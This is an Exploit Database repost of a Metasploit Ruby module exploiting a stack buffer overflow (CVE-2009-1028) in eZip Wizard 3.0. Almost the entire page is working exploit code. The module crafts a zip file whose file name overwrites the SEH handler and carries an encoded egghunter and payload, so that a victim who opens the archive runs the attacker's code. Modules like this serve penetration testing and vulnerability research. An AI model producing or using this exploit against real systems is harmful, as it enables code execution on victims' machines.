eZip Wizard 3.0 – Local Stack Buffer Overflow (Metasploit)

• Exploit Database
• 36 阅读

• 作者： Metasploit
  日期： 2011-04-25
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17210/

• ##
  # $Id: ezip_wizard_bof.rb 12428 2011-04-25 01:06:34Z sinn3r $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  require 'rex/zip'
  
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::FILEFORMAT
  	include Msf::Exploit::Remote::Seh
  	include Msf::Exploit::Remote::Egghunter
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'eZip Wizard 3.0 Stack Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack-based buffer overflow vulnerability in
  				version 3.0 of ediSys Corp.'s eZip Wizard.
  
  				In order for the command to be executed, an attacker must convince someone to
  				open a specially crafted zip file with eZip Wizard, and access the specially
  				file via double-clicking it. By doing so, an attacker can execute arbitrary
  				code as the victim user.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'fl0 fl0w',#Initial discovery, poc
  					'jduck', #Metasploit
  					'Lincoln', #Complete Metasploit port
  				],
  			'Version'=> '$Revision: 12428 $',
  			'References' =>
  				[
  					[ 'CVE', '2009-1028' ],
  					[ 'OSVDB', '52815' ],
  					[ 'BID', '34044' ],
  					[ 'URL', 'http://www.edisys.com/' ],
  					[ 'URL', 'http://www.exploit-db.com/exploits/8180' ],
  					[ 'URL', 'http://www.exploit-db.com/exploits/12059/' ],
  				],
   'Platform'=> [ 'win' ],
   'Payload' =>
  				{
  					'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
  				},
  			'Targets'=>
  				[
  					['Windows Universal', { 'Offset' => 58, 'Ret' => 0x10020710 }],
  				],
  			'DisclosureDate' => 'Mar 09 2009',
  			'DefaultTarget'=> 0))
  
  		register_options(
  		 	[
  				OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
  				OptString.new('USERNAME', [ true, 'Username', ''])
  			], self.class)
  
  	end
  
  	def exploit
  
  		#These badchars do not apply to the final payload
  		badchars = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e"
  
  		eggoptions = 
  		{
  				:checksum => true,
  				:eggtag => 'w00t' 
  		}
  
  		hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)
  
  		[ 'x86/alpha_mixed'].each { |name|
  		enc = framework.encoders.create(name)
  				if name =~/alpha/
  					enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })
  				end
  			hunter = enc.encode(hunter, nil, nil, platform)
  		}
  
  		#Username length affects our offset to hit SEH correctly
  		if datastore['USERNAME'].length >= 9
  			padding = rand_text_alpha(target['Offset'] - 8)
  		else
  			padding = rand_text_alpha(target['Offset'] - datastore['USERNAME'].length)
  		end
  
  		fname= padding
  		fname << "\x61\x61\x7a\x04"#nseh, align + conditional jmp
  		fname << [target.ret].pack('V')#seh
  		fname << "\x61" * 29 #align for hunter
  		fname << "\x58\x58\x41"#align for hunter
  		fname << hunter
  		fname << egg
  
  		zip = Rex::Zip::Archive.new
  		xtra = [0xdac0ffee].pack('V')
  		comment = [0xbadc0ded].pack('V')
  		zip.add_file(fname, xtra, comment)
  
  		# Create the file
  		print_status("Creating '#{datastore['FILENAME']}' file...")
  
  		file_create(zip.pack)
  	end
  
  end